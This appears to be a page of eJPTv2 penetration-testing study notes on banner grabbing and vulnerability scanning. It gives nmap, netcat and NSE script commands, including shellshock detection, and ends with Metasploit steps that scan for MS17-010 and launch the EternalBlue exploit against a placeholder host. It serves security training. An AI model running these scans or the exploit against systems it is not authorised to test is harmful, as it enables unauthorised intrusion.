> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/exploitation/vulnerability-scanning.md).

# Vulnerability Scanning

### Banner Grabbing

* Banner grabbing is an information gathering technique used by penetration tester to enumerate information regarding the target operating system as well as the services that are running on its open ports.
* The primary objective of banner grabbing is to identify the service running on a specific port as well as the service version.
* Banner grabbing can be performed through various techniques:
  * Performing a service version detection scan with Nmap.
  * Connecting to the open port with Netcat.
  * Authenticating with the service (If the service supports authentication), for example: SSH, FTP, Telnet, etc.

DEMO

```
nmap -sV -O <IP>
```

* nmap scripts

```
ls -al /usr/share/nmap/scripts/ | grep banner
```

```
nmap -sV --script=banner <IP>
```

```
whatis nc
```

* NETCAT banner grabbing

```
nc <IP> <port>
```

```
searchsploit openssh 7.2p
```

```
ssh root@<IP>
```

***

### Vulnerability Scanning With Nmap Scripts

Nmap project free e-book&#x20;

{% embed url="<https://nmap.org/>'" %}

```
nmap -sV -O <IP>
```

* Open the the site
* &#x20;

```
ls -al /usr/share/nmap/scripts/ | grep http
```

```
nmap -sV -p 80 --script=http-enum <IP>
```

```
ls -al /usr/share/nmap/scripts/ | grep shellshock 
```

or vuln

```
nmap -sV --script=http-shellshock <IP>
```

*Note*: CGI Scripts are essentially used to execute system commands or commands on the actual server or the operating system that is running or hosting

* To check if the site is vulnerable to shellshock vulnerability

```
nmap -sV --script=http-shellshock --script-args "http-shellshock-uri=/gettime.cgi" <IP>
```

*Note*: to learn about the arguments jst search script on google for documentation.

***

### Vulnerability Scanning with Metasploit

DEMO

```
nmap -sV -sS <IP>
```

```
msfconsole -q 
> search eternalblue
> use auxiliary/scanner/smb/smb_ms17_010
> set RHOSTS <IP>
> run 
> use exploit/windows/smb/ms17_010_eternalblue
> set RHOSTS
> exploit
>>>> sysinfo
```
